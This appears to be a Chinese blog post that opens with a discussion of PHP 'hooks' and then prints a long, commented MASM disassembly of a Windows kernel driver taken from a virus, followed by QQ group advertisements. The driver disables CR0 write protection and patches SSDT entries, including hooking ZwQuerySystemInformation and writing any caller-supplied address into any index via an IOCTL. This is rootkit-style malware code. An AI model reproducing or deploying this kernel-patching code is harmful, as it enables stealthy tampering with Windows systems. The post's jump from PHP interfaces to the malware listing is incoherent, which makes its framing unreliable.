PHP讨论之什么是HOOK?

做个广告先,PHP学习群6848027
今天在群里和群友讨论到了PHP的HOOK模式,感觉对方说的非常有趣,于是就有了这篇文章

首先纠结一下到底什么是HOOK?
大家都说HOOK是钩子,这到底是做什么的?
想想下面的场景
桌面EXE程序本身所有的代码都被封装了(开发者不提供标准接口),不提供?那如果我们想要扩展这个EXE的功能怎么办?
这个时候就用到HOOK了,将自己的代码写到EXE进程,拦截掉原有的被HOOK的函数,实现我们的HOOK代码

在想想下面的场景
一个PHP程序本身源代码被加密,如何HOOK?我们想重写PHP的代码怎么办呢?哈哈,有人说解密就行了
解密是一种方式,我想不改变源代码的情况下实现呢?当然这就需要开发者提供接口了!
实际上你想要在JAVA,C#,C++中实现一种类似HOOK的功能你就必须定义接口,供人HOOK,
然而PHP自身为动态语言,一切都是泛型(这也是PHP的强大之处)实现接口并无实际意义,反而浪费了很多代码,有时一个
回调函数可能来的更直接效率更高,所以这些习惯了动态脚本代码的PHPCODER早已忘了什么是接口了,一味的理解自己认为的HOOK。

至于如何实现优雅的PHP接口,我从原来反汇编的一个病毒程序中得到了一些启示.
多播接口我想在PHP界目前还没有这个先进的说法吧(准备写个这个模式的教程,哇哈哈)
来看看下面的这个病毒程序是如何实现的

整体思路
1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。



.386 .model flat,stdcall option casemap:none include w2k\ntstatus.inc include w2k\ntddk.inc include w2k\ntoskrnl.inc includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib include Swk0207.inc .data unk_10B80 db 4Eh ; N db 0E6h ; ? db 40h ; @ db 0BBh ; ? OldSSDTValueOfZwQuerySystemInformation dd 0 .code ; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h ;*********************************************************************************************** ; ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址 ;*********************************************************************************************** ;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11 ;{ ; ULONG Reserved[2]; +0 ; PVOID Base; +08h ; ULONG Size; +0ch ; ULONG Flags; +10h ; USHORT Index; +14h ; USHORT Unknown; +16h ; USHORT LoadCount; +18h ; USHORT ModuleNameOffset; +1Ah ; CHAR ImageName[256]; +1Ch ;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; ;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, ; IN OUT PVOID SystemInformation, ; IN ULONG SystemInformationLength, ; OUT PULONG ReturnLength OPTIONAL ); ;typedef struct _tagSysModuleList { ; ULONG ulCount; ; SYSTEM_MODULE_INFORMATION smi[1]; ;} SYSMODULELIST, *PSYSMODULELIST; ;用法如下: ;s = NtQuerySystemInformation( SystemModuleInformation, pRet, ;sizeof( SYSMODULELIST ), &nRetSize ); xor ebx, ebx mov [ebp-24h], ebx mov [ebp-4], ebx lea eax, [ebp-1Ch] push eax ;ReturnLength push ebx ;SystemInformationLength = 0 lea eax, [ebp-20h] push eax ;SystemInformation push 0Bh ;SystemModuleInformation,遍历模块 mov esi, ZwQuerySystemInformation call esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度 mov [ebp-28h], eax cmp eax, 0C0000004h jnz ERRORRET push 206B6444h ; ' kdD'标签 push dword ptr [ebp-1Ch] ;申请的长度 push ebx ;NonPagedPool call ExAllocatePoolWithTag mov edi, eax mov [ebp-30h], edi ;保留返回值 cmp edi, ebx ;判断返回值是否为空 jnz NextStep or dword ptr [ebp-4], 0FFFFFFFFh xor eax, eax jmp ErrAllocMem NextStep: lea eax, [ebp-34h] ;ReturnLength push eax push dword ptr [ebp-1Ch] ;SystemInformationLength push edi ;SystemInformation push 0Bh ;SystemModuleInformation call esi ; ZwQuerySystemInformation mov [ebp-28h], eax cmp eax, ebx jl ReleaseMemory mov eax, [edi] mov [ebp-1Ch], eax ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数 lea esi, [edi+4] mov [ebp-2Ch], esi ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址 mov [ebp-20h], ebx ;计数变量清零 FORLOOP: mov eax, [ebp-1Ch] ;开始for循环 cmp [ebp-20h], eax jnb ReleaseMemory push offset FunctionArray ; 例如: ImageName: windows\system32\ndis.sys, 那么 ModuleNameOffset 就是 0x11 movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移 lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset push eax ;不包含路径的名字 call _stricmp pop ecx ;出栈 pop ecx test eax, eax jnz ContinueLoop mov eax, [esi+8] ;返回SYSTEM_MODULE_INFORMATION.Base mov [ebp-24h], eax ;返回值保存在[ebp-24h]单元 ReleaseMemory: push edi call ExFreePool jmp ERRORRET ContinueLoop: inc dword ptr [ebp-20h] ;循环变量递增 add esi, 11Ch ;取下一个SYSTEM_MODULE_INFORMATION类型元素 mov [ebp-2Ch], esi ;暂存当前的SYSTEM_MODULE_INFORMATION元素 jmp FORLOOP SehFunction proc near mov esp, [ebp-18h] ERRORRET:: or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-24h] ErrAllocMem:: ret SehFunction endp ;******************************************************************************************** ; 相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表, ; 找出pFunctionName的函数地址. ; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的 ; 索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions ; 索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数 ; 的地址,不同则继续找... ;******************************************************************************************** GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword LOCAL AddressOfNameOrdinals:dword;函数名序号表 LOCAL AddressOfNames:dword ;函数名地址表 LOCAL OutputTable:dword ;导出表地址 LOCAL AddressOfFunctions:dword ;指向导出函数地址表中的指针 LOCAL pFunctionName:dword ;函数名 LOCAL i:dword ;循环变量 LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号 LOCAL CurAddressOfNames:dword ;当前的函数名地址 LOCAL nIndex:dword ;循环变量 LOCAL myFoundOutFunctionName:dword ;我们从函数名地址表中找出的函数名指针 LOCAL InputFunctionName:dword ;输入的函数名指针,指向参数2 LOCAL SecondCharacterOfFunctionName:byte LOCAL FirstCharacterOfFunctionName:byte mov edx, hModule mov eax, [edx+3Ch] add eax, edx ; 指向PEHeader cmp word ptr [edx], 5A4Dh ; 'MZ' jnz Quit cmp dword ptr [eax], 4550h ;'PE' jnz Quit mov eax, [eax+78h] add eax, edx ;指向导出表 mov OutputTable, eax mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames add edi, edx mov AddressOfNames, edi mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions add esi, edx mov AddressOfFunctions, esi mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals add ecx, edx mov AddressOfNameOrdinals, ecx and nIndex, 0 mov edx, pFunctionName StartSearch: mov ebx, nIndex cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions jnb Quit cmp dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空 jz NextAddressOfFunction ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数 mov CurAddressOfNames, edi mov CurAddressOfNameOrdinals, ecx and i, 0 StartFindFunctionFromAddressOfNames: mov ebx, i cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames jnb OutOfRange mov ebx, CurAddressOfNameOrdinals movzx ebx, word ptr [ebx] cmp ebx, nIndex ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致 jnz NextAddressOfNameOrdinals mov edx, CurAddressOfNames mov edx, [edx] add edx, hModule mov pFunctionName, edx ;取出函数名 OutOfRange: test edx, edx ;判断是否空 jz ContinueWork mov myFoundOutFunctionName, edx ;暂存函数名 mov edx, FunctionName mov InputFunctionName, edx ;暂存输入的函数名 CompareFunctionName: mov edx, InputFunctionName mov dl, [edx] mov FirstCharacterOfFunctionName, dl mov ebx, myFoundOutFunctionName cmp dl, [ebx] jnz Different ;不相同 test dl, dl ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个 jz RetCurrentFunctionAddress mov edx, InputFunctionName ;比对函数名中的下一个字符 mov dl, [edx+1] mov SecondCharacterOfFunctionName, dl cmp dl, [ebx+1] jnz Different add InputFunctionName, 2 add myFoundOutFunctionName, 2 test dl, dl jnz CompareFunctionName RetCurrentFunctionAddress: xor edx, edx ;edx = 0,表示找到对应的函数 jmp GetFunctionAddress NextAddressOfNameOrdinals: add CurAddressOfNames, 4 add CurAddressOfNameOrdinals, 2 inc i jmp StartFindFunctionFromAddressOfNames Different: sbb edx, edx sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找 GetFunctionAddress: test edx, edx jnz ContinueWork mov esi, [esi] add esi, hModule mov eax, esi ;返回函数地址 jmp Founded ContinueWork: xor edx, edx mov pFunctionName, edx NextAddressOfFunction: add esi, 4 mov AddressOfFunctions, esi inc nIndex jmp StartSearch Quit: xor eax, eax Founded: ret GetProcessFromNtoskrnl endp ;************************************************************************** ; 给出一个索引值和一个函数地址,修改ssdt表 ;************************************************************************** HookSSDTByFunIndex proc Value:dword,Index:dword mov ecx, Index mov eax, KeServiceDescriptorTable cmp ecx, [eax+8] ;NumberOfService jb @f xor al, al jmp Quit @@: ;去掉写保护 push eax mov eax, cr0 and eax, 0FFFEFFFFh mov cr0, eax pop eax mov eax, KeServiceDescriptorTable mov eax, [eax] mov edx, Value; Value lea ecx, [eax+ecx*4] ; Target call InterlockedExchange ;恢复写保护 push eax mov eax, cr0 or eax, 10000h mov cr0, eax pop eax Quit: ret HookSSDTByFunIndex endp ;************************************************************************** ; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值 ;************************************************************************** HookSSDT proc Value:dword,FunAddr:dword push eax ;去掉写保护 mov eax, cr0 and eax, 0FFFEFFFFh mov cr0, eax pop eax mov ecx, KeServiceDescriptorTable mov eax, FunAddr mov eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的index mov ecx, [ecx] ;ServiceTableBase mov edx, Value ; Value lea ecx, [ecx+eax*4] ; Target call InterlockedExchange mov ecx, eax push eax ;恢复写保护 mov eax, cr0 or eax, 10000h mov cr0, eax pop eax mov eax, ecx ret HookSSDT endp SourceString wchar L(<\\DosDevices\\Swk0217\0>) swkUnLoad proc pDriverObject :dword LOCAL DestinationString:UNICODE_STRING push ecx push ecx push offset SourceString ; SourceString lea eax, DestinationString push eax ; DestinationString call RtlInitUnicodeString lea eax, DestinationString push eax ; SymbolicLinkName call IoDeleteSymbolicLink mov eax, pDriverObject push dword ptr [eax+4] ; DeviceObject call IoDeleteDevice ret swkUnLoad endp aNtquerysystemi db 'NtQuerySystemInformation',0 DispatchFunction: push esi mov esi, [esp+0Ch] ;pIrp mov eax, [esi+60h] ;取IRP.CurrentStackLocation and dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc and dword ptr [esi+1Ch], 0 cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength push edi jnz CreateAndClose mov eax, [eax+0Ch] ;IoControlCode cmp eax, 83471060h jz GetSSDTNum ;获取ssdt函数个数 cmp eax, 83471064h jz GetSSDTFunction ;获取ssdt函数表 cmp eax, 83471068h jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation cmp eax, 8347106Ch jz RestoreHookSSDT ;恢复前面hook的ZwQuerySystemInformation cmp eax, 83471070h jz ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表 mov dword ptr [esi+18h], 0C000000Dh ;IoStatus jmp CreateAndClose ModifySSDTByFunIndex: push 8 pop edi cmp ecx, edi ;判断InputBufferLength是否等于8 jnz CreateAndClose push dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引 push dword ptr [edx] ;;SystemBuffer中第一个dword值,代表一个给定的函数地址 call HookSSDTByFunIndex test al, al jz CreateAndClose mov [esi+1Ch], edi jmp CreateAndClose RestoreHookSSDT: ;恢复ssdt表 mov eax, OldSSDTValueOfZwQuerySystemInformation test eax, eax jz CreateAndClose mov ecx, ZwQuerySystemInformation cmp eax, ecx jz HaveDone push ecx push eax call HookSSDT HaveDone: and OldSSDTValueOfZwQuerySystemInformation, 0 jmp CreateAndClose HookZwQuerySystemInformation: call near ptr FunctionArray+0Eh ;执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址 test eax, eax jz CreateAndClose push offset aNtquerysystemi ; "NtQuerySystemInformation" push eax call GetProcessFromNtoskrnl mov ecx, ZwQuerySystemInformation cmp eax, ecx jz CreateAndClose push ecx push eax call HookSSDT mov OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址 jmp CreateAndClose GetSSDTFunction: mov eax, KeServiceDescriptorTable mov edi, [eax+8] ;NumberOfService push ebx mov ebx, edi shl ebx, 2 ;NumberOfService*4 cmp ecx, ebx ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够 pop ebx jb CreateAndClose xor ecx, ecx test edi, edi jbe GetSSDTFunctionErr GetNextSSDTFunction: mov eax, [eax] mov eax, [eax+ecx*4] mov [edx+ecx*4], eax mov eax, KeServiceDescriptorTable inc ecx cmp ecx, [eax+8] jb GetNextSSDTFunction GetSSDTFunctionErr: mov eax, [eax+8] shl eax, 2 jmp Quit GetSSDTNum: push 4 pop eax cmp ecx, eax ;输入长度<4跳转 jb CreateAndClose mov ecx, KeServiceDescriptorTable mov ecx, [ecx+8] ;NumberOfService mov [edx], ecx ;edx指向IRP.AssociatedIrp.SystemBuffer Quit: mov [esi+1Ch], eax CreateAndClose: mov edi, [esi+18h] ;IoStatus xor dl, dl mov ecx, esi call IofCompleteRequest mov eax, edi pop edi pop esi ret wcharDeviceName wchar L(<\\Device\\Swk0217\0>) wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>) start proc DriverObject:dword LOCAL SymbolicLinkName:UNICODE_STRING LOCAL DestinationString:UNICODE_STRING LOCAL DeviceObject:dword and DeviceObject, 0 push esi push edi mov edi, RtlInitUnicodeString push offset wcharDeviceName ; SourceString lea eax, DestinationString push eax ; DestinationString call edi ; RtlInitUnicodeString mov esi, DriverObject lea eax, DeviceObject push eax ; DeviceObject push 0 ; Exclusive push 0 ; DeviceCharacteristics push 598347h ; DeviceType lea eax, DestinationString push eax ; DeviceName push 0 ; DeviceExtensionSize push esi ; DriverObject call IoCreateDevice test eax, eax jl @f push offset wcharSymbolicLink ; SourceString lea eax, SymbolicLinkName push eax ; DestinationString call edi ; RtlInitUnicodeString lea eax, DestinationString push eax ; DeviceName lea eax, SymbolicLinkName push eax ; SymbolicLinkName call IoCreateSymbolicLink mov ecx, offset DispatchFunction mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL mov [esi+40h], ecx ;IRP_MJ_CLOSE mov [esi+38h], ecx ;IRP_MJ_CREATE mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad @@: pop edi pop esi ret start endp
java新手自学群 626070845
java/springboot/hadoop/JVM 群 4915800
Hadoop/mongodb(搭建/开发/运维)Q群481975850
GOLang Q1群:6848027
GOLang Q2群:450509103
GOLang Q3群:436173132
GOLang Q4群:141984758
GOLang Q5群:215535604
C/C++/QT群 1414577
单片机嵌入式/电子电路入门群群 306312845
MUD/LIB/交流群 391486684
Electron/koa/Nodejs/express 214737701
大前端群vue/js/ts 165150391
操作系统研发群:15375777
汇编/辅助/破解新手群:755783453
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
原文地址:https://www.cnblogs.com/cfas/p/3110015.html